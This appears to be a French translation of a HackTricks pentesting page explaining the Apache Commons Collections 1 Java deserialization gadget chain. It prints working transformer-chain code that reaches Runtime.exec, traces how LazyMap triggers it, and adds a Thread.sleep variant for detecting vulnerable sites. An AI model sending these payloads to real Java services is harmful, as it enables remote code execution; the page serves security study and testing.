hacktricks/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md
2023-06-03 13:10:46 +00:00

12 KiB

Charge utile CommonsCollection1 - Transformateurs Java vers Rutime exec() et Thread Sleep

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Transformateurs Java vers Rutime exec()

Dans plusieurs endroits, vous pouvez trouver une charge utile de désérialisation Java qui utilise des transformateurs d'Apache common collections comme celle-ci :

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
    public static void main(String... args) {
        String[] command = {"calc.exe"};
        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //(1)
                new InvokerTransformer("getMethod",
                        new Class[]{ String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ), //(2)
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}
                ), //(3)
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        command
                ) //(4)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        
        //Execute gadgets
        lazyMap.get("anything");
    }
}

Si vous ne connaissez rien aux charges utiles de désérialisation Java, il peut être difficile de comprendre pourquoi ce code exécutera une calculatrice.

Tout d'abord, vous devez savoir qu'un transformateur en Java est quelque chose qui reçoit une classe et la transforme en une autre.
Il est également intéressant de savoir que la charge utile qui est exécutée ici est équivalente à:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Ou plus précisément, ce qui sera exécuté à la fin sera :

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Comment

Alors, comment le premier payload présenté est-il équivalent à ces "simples" commandes en une ligne?

Tout d'abord, vous pouvez remarquer dans la charge utile qu'une chaîne (tableau) de transformations est créée :

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
        //(1) - Get gadget Class (from Runtime class)
        new ConstantTransformer(Runtime.class),
                
        //(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
        new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}
        ), 
        
        //(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject 
        new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ), 
        
        //(4) - Use the Runtime object to call exec with arbitrary commands
        new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        )
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Si vous lisez le code, vous remarquerez que si vous enchaînez de quelque manière que ce soit la transformation du tableau, vous pourriez être en mesure d'exécuter des commandes arbitraires.

Alors, comment ces transformations sont-elles enchaînées ?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Dans la dernière section de la charge utile, vous pouvez voir qu'un objet Map est créé. Ensuite, la fonction decorate est exécutée à partir de LazyMap avec l'objet map et les transformateurs enchaînés. À partir du code suivant, vous pouvez voir que cela entraînera la copie des transformateurs enchaînés à l'intérieur de l'attribut lazyMap.factory:

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

Et puis la grande finale est exécutée: lazyMap.get("anything");

Voici le code de la fonction get:

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

Et voici le code de la fonction transform :

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

Donc, rappelez-vous qu'à l'intérieur de factory, nous avions enregistré chainedTransformer et à l'intérieur de la fonction transform, nous parcourons tous ces transformateurs enchaînés et les exécutons les uns après les autres. La chose amusante, c'est que chaque transformateur utilise object comme entrée et l'objet est la sortie du dernier transformateur exécuté. Par conséquent, tous les transformations sont enchaînés pour exécuter la charge utile malveillante.

Résumé

À la fin, en raison de la façon dont lazyMap gère les transformateurs enchaînés à l'intérieur de la méthode get, c'est comme si nous exécutions le code suivant :

Object value = "someting";
        
value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
                new Class[]{ String.class, Class[].class},
                new Object[]{"getRuntime", null}
        ).transform(value); //(2)
        
value = new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}
        ).transform(value); //(3)
        
value = new InvokerTransformer("exec",
                new Class[]{String.class},
                command
        ).transform(value); //(4)

Notez que value est l'entrée de chaque transformation et la sortie de la transformation précédente, permettant l'exécution d'une commande en une seule ligne :

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Notez qu'ici, il a été expliqué les gadgets utilisés pour la charge utile ComonsCollections1. Mais on ne sait pas comment tout cela commence à s'exécuter. Vous pouvez voir ici que ysoserial, afin d'exécuter cette charge utile, utilise un objet AnnotationInvocationHandler car lorsque cet objet est désérialisé, il invoquera la fonction payload.get() qui exécutera toute la charge utile.

Java Thread Sleep

Cette charge utile pourrait être pratique pour identifier si le site web est vulnérable car elle exécutera un sleep si c'est le cas.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
    public static void main(String... args) {
        final Transformer[] transformers = new Transformer[]{
        		new ConstantTransformer(Thread.class),
        		new InvokerTransformer("getMethod",
        		        new Class[]{
        		                String.class, Class[].class
        		        },
        		        new Object[]{
        		                "sleep", new Class[]{Long.TYPE}
        		        }),
        		new InvokerTransformer("invoke",
        		        new Class[]{
        		                Object.class, Object[].class
        		        }, new Object[]
        		        {
        		                null, new Object[] {7000L}
        		        }),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap<>();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);
        
        //Execute gadgets
        lazyMap.get("anything");
        
    }
}

Plus de gadgets

Vous pouvez trouver plus de gadgets ici: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥